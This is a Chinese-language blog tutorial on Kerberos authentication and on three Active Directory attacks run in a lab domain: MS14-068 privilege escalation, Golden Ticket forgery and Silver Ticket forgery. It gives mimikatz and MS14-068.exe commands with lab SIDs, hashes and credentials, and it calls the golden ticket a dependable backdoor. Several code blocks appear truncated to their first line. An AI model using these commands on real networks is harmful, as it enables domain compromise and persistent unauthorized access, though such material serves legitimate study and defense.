Kerberos 是一种由MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。
一些基本的概念:
Principal 一个用户会以一个独一无二的身份来被 KDC 认证,该身份被称为 Principal。
一个 Principal 由三个部分组成:primary, instance 以及 realm,
其组成形式为primary/instance@realm。
- primary 可以是 OS 中的 username,也可以是 service name;
- instance 用于区分属于同一个 user 或者 service 的多个 principals,该项为 optional;
- realm 类似于 DNS 中的 domain,定义了一组 principals
1 |
AD(Account Database),它作为账户管理数据库,用与存储用户认证信息,即密码的NTLM Hash等 |
Kerberos认证流程
认证流程 z
1 |
KRB_AS_REQ: 客户端向KDC的KAS服务请求开身份证明 |
Kerberos认证的三阶段详情可看:
Windows认证之Kerberos
Kerberos 攻击方式
MS14-068
MS14068 是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。
漏洞分析:http://www.freebuf.com/vuls/56081.html
漏洞利用:
注意:Mimikatz PTC 注入不支持NT5内核,所以 XP、03 都没法用
利用方式:
MS14-068 对应的补丁为 KB3011780,systeminfo 查看是否有补丁
在域内主机 jerry 上通过 dir 来访问域控的共享文件夹,示拒绝访问
1 |
dir \\OWA2013.rootkit.org\c$ |
漏洞利用需要的参数说明:
1 |
-u 域账号+@+域名称,这里是jerry+@+rootkit.org |
获取用户名,SID
1 |
whoami /all /fo list |
获取域控地址
1 |
net group "Domain controllers" /domain |
获取TGT的 cache 文件
1 |
MS14-068.exe -u [email protected] -p qwe123! -s S-1-5-21-3759881954-2993291187-3577547808-1608 -d OWA2013.rootkit.org |
清除缓存的票据
mimikatz 导入上面生成的、TGT cache 文件
1 |
kerberos::ptc [email protected] |
再次dir访问域控共享,本应成功,这里显示有点问题,暂留疑问?
黄金票据
通过前面我们已经知道 Kerberos 的认证大致流程,在第二阶段认证的 KRB_AS_REQ 时,Client 拥有两份加密的 Session Key 分别是:
1 |
用自己NTLM Hash加密的Session Key |
TGT 只有 KDC 可以解密,这是因为TGT是使用 krbtgt 用户的 NTLM Hash 进行加密的,而该Hash 只有 KDC 知道。但是这也意味着如果我们拥有 krbtgt 用户的 Hash,那么意味着我们可以解密以及伪造 TGT
利用条件
1 |
1、域名称 |
里面前三项都比较好获取,最难的就是 krbtgt 用户的 Hash
krbtgt用户是KDC的默认用户,想要拿到它就意味着你已经拿到了域控
所以说,万能票据只能算是一种安全可靠的留后门的方式
安全可靠的原因:
- 不用担心域管改密码,知道名字就可以伪造你的身份
- krbtgt 密码只在 提升域功能级别、利用域的恢复数据来实施域的裸机恢复 的时候才更新,也就是说如果没大情况发生,hash 都是不变的
利用过程:
获取域名,域 SID
在域控机子上获得 krbtgt 的 hash
1 |
lsadump::dcsync /domain:rootkit.org /user:krbtgt |
Administrator作为我们要扮演的用户,mimikatz 中的 kerberos::golden 功能生成黄金票据
参数说明:
1 |
/admin:伪造的用户名 |
生成黄金票据 golden.kiribi
1 |
kerberos::golden /admin:administrator /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /krbtgt:c3d5042c67ef5f461d0ba6ecdd9ea449 /ticket:golden.kiribi |
通过 mimikatz 中的 kerberos::ptt 功能(Pass The Ticket)将 golden.kiribi 导入内存中。
1 |
kerberos::purge |
此时就可以通过dir成功访问域控的共享文件夹
1 |
dir \\OWA2013.rootkit.org\c$ |
白银票据
白银票据不与 KDC 交互,伪造 Ticket 直接与 server 进行交互。
在 Kerberos 认证大致流程的 KRB_AP_REQ 时,Client 拥有两份加密的 Session Key,分别是:
1 |
用自己NTLM Hash加密的Session Key |
Tiket 只有 Server 可以解密,这是因为 Tiket 是使用 Server 的 NTLM Hash 进行加密的。但是这也意味着如果我们拥有 Server 的 Hash,那么意味着我们可以解密以及伪造 Tiket,从而绕过 KDC 直接进行验证。 因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以银票只能访问指定服务。
利用条件:
1 |
1.域名称 |
利用过程:
首先我们需要知道服务账户的密码 HASH,这里同样拿域控来举例,通过 mimikatz 查看当前域账号 administrator 的 HASH 值。注意,这里使用的不是 Administrator 账号的 HASH,而是 OWA2013$ 的 HASH
1 |
privilege::debug |
通过mimikatz生成白银票据
参数说明:
1 |
/domain:当前域名称 |
开始生成
1 |
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /target:OWA2013.rootkit.org /service:cifs /rc4:4c8d78036f691e43a56115f0f8fed1b7 /user:administrator /ptt |
klist查看当前会话的kerberos票据可以看到生成的票据,访问 DC 共享文件夹
参考文章:
Kerberos 原理
windows认证-白银票据、黄金票据分析及利用
Windows认证之Kerberos
FROM :blog.cfyqy.com | Author:cfyqy
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论